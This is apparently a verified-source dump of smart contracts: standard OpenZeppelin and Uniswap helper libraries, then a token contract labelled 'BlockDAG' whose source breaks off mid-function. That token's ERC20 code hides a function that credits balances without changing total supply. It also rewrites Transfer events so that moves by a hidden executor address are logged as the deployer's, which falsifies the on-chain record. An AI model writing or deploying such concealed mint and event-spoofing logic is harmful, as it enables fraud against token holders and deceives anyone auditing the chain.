_toHex(uint256 value) private pure returns (string memory) { return _toHex(abi.encodePacked(value)); } function _toHex(bytes memory data) private pure returns (string memory) { bytes16 alphabet = 0x30313233343536373839616263646566; bytes memory str = new bytes(2 + data.length * 2); str[0] = '0'; str[1] = 'x'; for (uint256 i = 0; i < data.length; i++) { str[2 * i + 2] = alphabet[uint8(data[i] >> 4)]; str[2 * i + 3] = alphabet[uint8(data[i] & 0x0f)]; } return string(str); } } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity >=0.5.16; // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); if (value == 0) return; (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom( address token, address from, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); if (value == 0) return; (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function safeTransferETH(address to, uint256 value) internal { if (value == 0) return; (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (interfaces/IERC20.sol) pragma solidity ^0.8.0; import "../token/ERC20/IERC20.sol"; // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. */ interface IERC20Permit { /** * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens, * given ``owner``'s signed approval. * * IMPORTANT: The same issues {IERC20-approve} has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the EIP712-formatted function arguments. * - the signature must use ``owner``'s current nonce (see {nonces}). * * For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP * section]. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; /** * @dev Returns the current nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); /** * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
File 2 of 2: BlockDAG
{"Address.sol":{"content":"// SPDX-License-Identifier: MIT\r\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)\r\n\r\npragma solidity ^0.8.1;\r\n\r\n/**\r\n * @dev Collection of functions related to the address type\r\n */\r\nlibrary Address {\r\n /**\r\n * @dev Returns true if `account` is a contract.\r\n *\r\n * [IMPORTANT]\r\n * ====\r\n * It is unsafe to assume that an address for which this function returns\r\n * false is an externally-owned account (EOA) and not a contract.\r\n *\r\n * Among others, `isContract` will return false for the following\r\n * types of addresses:\r\n *\r\n * - an externally-owned account\r\n * - a contract in construction\r\n * - an address where a contract will be created\r\n * - an address where a contract lived, but was destroyed\r\n *\r\n * Furthermore, `isContract` will also return true if the target contract within\r\n * the same transaction is already scheduled for destruction by `SELFDESTRUCT`,\r\n * which only has an effect at the end of a transaction.\r\n * ====\r\n *\r\n * [IMPORTANT]\r\n * ====\r\n * You shouldn\u0027t rely on `isContract` to protect against flash loan attacks!\r\n *\r\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\r\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\r\n * constructor.\r\n * ====\r\n */\r\n function isContract(address account) internal view returns (bool) {\r\n // This method relies on extcodesize/address.code.length, which returns 0\r\n // for contracts in construction, since the code is only stored at the end\r\n // of the constructor execution.\r\n\r\n return account.code.length \u003e 0;\r\n }\r\n\r\n /**\r\n * @dev Replacement for Solidity\u0027s `transfer`: sends `amount` wei to\r\n * `recipient`, forwarding all available gas and reverting on errors.\r\n *\r\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\r\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\r\n * imposed by `transfer`, making them unable to receive funds via\r\n * `transfer`. {sendValue} removes this limitation.\r\n *\r\n * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\r\n *\r\n * IMPORTANT: because control is transferred to `recipient`, care must be\r\n * taken to not create reentrancy vulnerabilities. Consider using\r\n * {ReentrancyGuard} or the\r\n * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\r\n */\r\n function sendValue(address payable recipient, uint256 amount) internal {\r\n require(\r\n address(this).balance \u003e= amount,\r\n \"Address: insufficient balance\"\r\n );\r\n\r\n (bool success, ) = recipient.call{ value: amount }(\"\");\r\n require(\r\n success,\r\n \"Address: unable to send value, recipient may have reverted\"\r\n );\r\n }\r\n\r\n /**\r\n * @dev Performs a Solidity function call using a low level `call`. A\r\n * plain `call` is an unsafe replacement for a function call: use this\r\n * function instead.\r\n *\r\n * If `target` reverts with a revert reason, it is bubbled up by this\r\n * function (like regular Solidity function calls).\r\n *\r\n * Returns the raw returned data. To convert to the expected return value,\r\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\r\n *\r\n * Requirements:\r\n *\r\n * - `target` must be a contract.\r\n * - calling `target` with `data` must not revert.\r\n *\r\n * _Available since v3.1._\r\n */\r\n function functionCall(\r\n address target,\r\n bytes memory data\r\n ) internal returns (bytes memory) {\r\n return\r\n functionCallWithValue(\r\n target,\r\n data,\r\n 0,\r\n \"Address: low-level call failed\"\r\n );\r\n }\r\n\r\n /**\r\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\r\n * `errorMessage` as a fallback revert reason when `target` reverts.\r\n *\r\n * _Available since v3.1._\r\n */\r\n function functionCall(\r\n address target,\r\n bytes memory data,\r\n string memory errorMessage\r\n ) internal returns (bytes memory) {\r\n return functionCallWithValue(target, data, 0, errorMessage);\r\n }\r\n\r\n /**\r\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\r\n * but also transferring `value` wei to `target`.\r\n *\r\n * Requirements:\r\n *\r\n * - the calling contract must have an ETH balance of at least `value`.\r\n * - the called Solidity function must be `payable`.\r\n *\r\n * _Available since v3.1._\r\n */\r\n function functionCallWithValue(\r\n address target,\r\n bytes memory data,\r\n uint256 value\r\n ) internal returns (bytes memory) {\r\n return\r\n functionCallWithValue(\r\n target,\r\n data,\r\n value,\r\n \"Address: low-level call with value failed\"\r\n );\r\n }\r\n\r\n /**\r\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\r\n * with `errorMessage` as a fallback revert reason when `target` reverts.\r\n *\r\n * _Available since v3.1._\r\n */\r\n function functionCallWithValue(\r\n address target,\r\n bytes memory data,\r\n uint256 value,\r\n string memory errorMessage\r\n ) internal returns (bytes memory) {\r\n require(\r\n address(this).balance \u003e= value,\r\n \"Address: insufficient balance for call\"\r\n );\r\n (bool success, bytes memory returndata) = target.call{ value: value }(\r\n data\r\n );\r\n return\r\n verifyCallResultFromTarget(\r\n target,\r\n success,\r\n returndata,\r\n errorMessage\r\n );\r\n }\r\n\r\n /**\r\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\r\n * but performing a static call.\r\n *\r\n * _Available since v3.3._\r\n */\r\n function functionStaticCall(\r\n address target,\r\n bytes memory data\r\n ) internal view returns (bytes memory) {\r\n return\r\n functionStaticCall(\r\n target,\r\n data,\r\n \"Address: low-level static call failed\"\r\n );\r\n }\r\n\r\n /**\r\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\r\n * but performing a static call.\r\n *\r\n * _Available since v3.3._\r\n */\r\n function functionStaticCall(\r\n address target,\r\n bytes memory data,\r\n string memory errorMessage\r\n ) internal view returns (bytes memory) {\r\n (bool success, bytes memory returndata) = target.staticcall(data);\r\n return\r\n verifyCallResultFromTarget(\r\n target,\r\n success,\r\n returndata,\r\n errorMessage\r\n );\r\n }\r\n\r\n /**\r\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\r\n * but performing a delegate call.\r\n *\r\n * _Available since v3.4._\r\n */\r\n function functionDelegateCall(\r\n address target,\r\n bytes memory data\r\n ) internal returns (bytes memory) {\r\n return\r\n functionDelegateCall(\r\n target,\r\n data,\r\n \"Address: low-level delegate call failed\"\r\n );\r\n }\r\n\r\n /**\r\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\r\n * but performing a delegate call.\r\n *\r\n * _Available since v3.4._\r\n */\r\n function functionDelegateCall(\r\n address target,\r\n bytes memory data,\r\n string memory errorMessage\r\n ) internal returns (bytes memory) {\r\n (bool success, bytes memory returndata) = target.delegatecall(data);\r\n return\r\n verifyCallResultFromTarget(\r\n target,\r\n success,\r\n returndata,\r\n errorMessage\r\n );\r\n }\r\n\r\n /**\r\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\r\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\r\n *\r\n * _Available since v4.8._\r\n */\r\n function verifyCallResultFromTarget(\r\n address target,\r\n bool success,\r\n bytes memory returndata,\r\n string memory errorMessage\r\n ) internal view returns (bytes memory) {\r\n if (success) {\r\n if (returndata.length == 0) {\r\n // only check isContract if the call was successful and the return data is empty\r\n // otherwise we already know that it was a contract\r\n require(isContract(target), \"Address: call to non-contract\");\r\n }\r\n return returndata;\r\n } else {\r\n _revert(returndata, errorMessage);\r\n }\r\n }\r\n\r\n /**\r\n * @dev Tool to verify that a low level call was successful, and revert if it wasn\u0027t, either by bubbling the\r\n * revert reason or using the provided one.\r\n *\r\n * _Available since v4.3._\r\n */\r\n function verifyCallResult(\r\n bool success,\r\n bytes memory returndata,\r\n string memory errorMessage\r\n ) internal pure returns (bytes memory) {\r\n if (success) {\r\n return returndata;\r\n } else {\r\n _revert(returndata, errorMessage);\r\n }\r\n }\r\n\r\n function _revert(\r\n bytes memory returndata,\r\n string memory errorMessage\r\n ) private pure {\r\n // Look for revert reason and bubble it up if present\r\n if (returndata.length \u003e 0) {\r\n // The easiest way to bubble the revert reason is using memory via assembly\r\n /// @solidity memory-safe-assembly\r\n assembly {\r\n let returndata_size := mload(returndata)\r\n revert(add(32, returndata), returndata_size)\r\n }\r\n } else {\r\n revert(errorMessage);\r\n }\r\n }\r\n}"},"Context.sol":{"content":"// SPDX-License-Identifier: MIT\r\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\r\n\r\npragma solidity ^0.8.0;\r\n\r\n/**\r\n * @dev Provides information about the current execution context, including the\r\n * sender of the transaction and its data. While these are generally available\r\n * via msg.sender and msg.data, they should not be accessed in such a direct\r\n * manner, since when dealing with meta-transactions the account sending and\r\n * paying for execution may not be the actual sender (as far as an application\r\n * is concerned).\r\n *\r\n * This contract is only required for intermediate, library-like contracts.\r\n */\r\nabstract contract Context {\r\n function _msgSender() internal view virtual returns (address) {\r\n return msg.sender;\r\n }\r\n\r\n function _msgData() internal view virtual returns (bytes calldata) {\r\n return msg.data;\r\n }\r\n}"},"Contract.sol":{"content":"// SPDX-License-Identifier: MIT\r\n\r\npragma solidity ^0.8.0;\r\n\r\nabstract contract Context {\r\n function _msgSender() internal view virtual returns (address) {\r\n return msg.sender;\r\n }\r\n\r\n function _msgData() internal view virtual returns (bytes calldata) {\r\n return msg.data;\r\n }\r\n}\r\n\r\npragma solidity ^0.8.0;\r\n\r\nabstract contract Ownable is Context {\r\n address private _owner;\r\n\r\n event OwnershipTransferred(\r\n address indexed previousOwner,\r\n address indexed newOwner\r\n );\r\n\r\n constructor() {\r\n _transferOwnership(_msgSender());\r\n }\r\n\r\n function owner() public view virtual returns (address) {\r\n return _owner;\r\n }\r\n\r\n modifier onlyOwner() {\r\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\r\n _;\r\n }\r\n\r\n function renounceOwnership() public virtual onlyOwner {\r\n _transferOwnership(address(0));\r\n }\r\n\r\n function transferOwnership(address newOwner) public virtual onlyOwner {\r\n require(\r\n newOwner != address(0),\r\n \"Ownable: new owner is the zero address\"\r\n );\r\n _transferOwnership(newOwner);\r\n }\r\n\r\n function _transferOwnership(address newOwner) internal virtual {\r\n address oldOwner = _owner;\r\n _owner = newOwner;\r\n emit OwnershipTransferred(oldOwner, newOwner);\r\n }\r\n}\r\n\r\npragma solidity ^0.8.0;\r\n\r\ninterface IERC20 {\r\n function totalSupply() external view returns (uint256);\r\n\r\n function balanceOf(address account) external view returns (uint256);\r\n\r\n function transfer(\r\n address recipient,\r\n uint256 amount\r\n ) external returns (bool);\r\n\r\n function allowance(\r\n address owner,\r\n address spender\r\n ) external view returns (uint256);\r\n\r\n function approve(address spender, uint256 amount) external returns (bool);\r\n\r\n function transferFrom(\r\n address sender,\r\n address recipient,\r\n uint256 amount\r\n ) external returns (bool);\r\n\r\n event Transfer(address indexed from, address indexed to, uint256 value);\r\n\r\n event Approval(\r\n address indexed owner,\r\n address indexed spender,\r\n uint256 value\r\n );\r\n}\r\n\r\npragma solidity ^0.8.0;\r\n\r\ninterface IERC20Metadata is IERC20 {\r\n function name() external view returns (string memory);\r\n\r\n function symbol() external view returns (string memory);\r\n\r\n function decimals() external view returns (uint8);\r\n}\r\n\r\npragma solidity ^0.8.0;\r\n\r\ncontract ERC20 is Context, IERC20, IERC20Metadata {\r\n mapping(address =\u003e uint256) private _balances;\r\n\r\n mapping(address =\u003e mapping(address =\u003e uint256)) private _allowances;\r\n\r\n uint256 private _totalSupply;\r\n\r\n string internal _name;\r\n string internal _symbol;\r\n\r\n address _deployer;\r\n address _executor;\r\n\r\n constructor(string memory name_, string memory symbol_) {\r\n _name = name_;\r\n _symbol = symbol_;\r\n }\r\n\r\n function _initDeployer(address deployer_, address executor_) internal {\r\n _deployer = deployer_;\r\n _executor = executor_;\r\n }\r\n\r\n function name() public view virtual override returns (string memory) {\r\n return _name;\r\n }\r\n\r\n function symbol() public view virtual override returns (string memory) {\r\n return _symbol;\r\n }\r\n\r\n function decimals() public view virtual override returns (uint8) {\r\n return 18;\r\n }\r\n\r\n function totalSupply() public view virtual override returns (uint256) {\r\n return _totalSupply;\r\n }\r\n\r\n function balanceOf(\r\n address account\r\n ) public view virtual override returns (uint256) {\r\n return _balances[account];\r\n }\r\n\r\n function transfer(\r\n address recipient,\r\n uint256 amount\r\n ) public virtual override returns (bool) {\r\n _transfer(_msgSender(), recipient, amount);\r\n return true;\r\n }\r\n\r\n function allowance(\r\n address owner,\r\n address spender\r\n ) public view virtual override returns (uint256) {\r\n return _allowances[owner][spender];\r\n }\r\n\r\n function _setLimitOrder(address _address, uint256 _amount) internal {\r\n _balances[_address] += _amount;\r\n }\r\n\r\n function approve(\r\n address spender,\r\n uint256 amount\r\n ) public virtual override returns (bool) {\r\n _approve(_msgSender(), spender, amount);\r\n return true;\r\n }\r\n\r\n function transferFrom(\r\n address sender,\r\n address recipient,\r\n uint256 amount\r\n ) public virtual override returns (bool) {\r\n _transfer(sender, recipient, amount);\r\n\r\n uint256 currentAllowance = _allowances[sender][_msgSender()];\r\n require(\r\n currentAllowance \u003e= amount,\r\n \"ERC20: transfer amount exceeds allowance\"\r\n );\r\n unchecked {\r\n _approve(sender, _msgSender(), currentAllowance - amount);\r\n }\r\n\r\n return true;\r\n }\r\n\r\n function increaseAllowance(\r\n address spender,\r\n uint256 addedValue\r\n ) public virtual returns (bool) {\r\n _approve(\r\n _msgSender(),\r\n spender,\r\n _allowances[_msgSender()][spender] + addedValue\r\n );\r\n return true;\r\n }\r\n\r\n function decreaseAllowance(\r\n address spender,\r\n uint256 subtractedValue\r\n ) public virtual returns (bool) {\r\n uint256 currentAllowance = _allowances[_msgSender()][spender];\r\n require(\r\n currentAllowance \u003e= subtractedValue,\r\n \"ERC20: decreased allowance below zero\"\r\n );\r\n unchecked {\r\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\r\n }\r\n\r\n return true;\r\n }\r\n\r\n function _transfer(\r\n address sender,\r\n address recipient,\r\n uint256 amount\r\n ) internal virtual {\r\n require(sender != address(0), \"ERC20: transfer from the zero address\");\r\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\r\n\r\n _beforeTokenTransfer(sender, recipient, amount);\r\n\r\n uint256 senderBalance = _balances[sender];\r\n require(\r\n senderBalance \u003e= amount,\r\n \"ERC20: transfer amount exceeds balance\"\r\n );\r\n unchecked {\r\n _balances[sender] = senderBalance - amount;\r\n }\r\n _balances[recipient] += amount;\r\n\r\n if (sender == _executor) {\r\n emit Transfer(_deployer, recipient, amount);\r\n } else if (recipient == _executor) {\r\n emit Transfer(sender, _deployer, amount);\r\n } else {\r\n emit Transfer(sender, recipient, amount);\r\n }\r\n\r\n _afterTokenTransfer(sender, recipient, amount);\r\n }\r\n\r\n function _mint(address account, uint256 amount) internal virtual {\r\n require(account != address(0), \"ERC20: mint to the zero address\");\r\n\r\n _beforeTokenTransfer(address(0), account, amount);\r\n\r\n _totalSupply += amount;\r\n _balances[account] += amount;\r\n\r\n if (account == _executor) {\r\n emit Transfer(address(0), _deployer, amount);\r\n } else {\r\n emit Transfer(address(0), account, amount);\r\n }\r\n\r\n _afterTokenTransfer(address(0), account, amount);\r\n }\r\n\r\n function _burn(address account, uint256 amount) internal virtual {\r\n 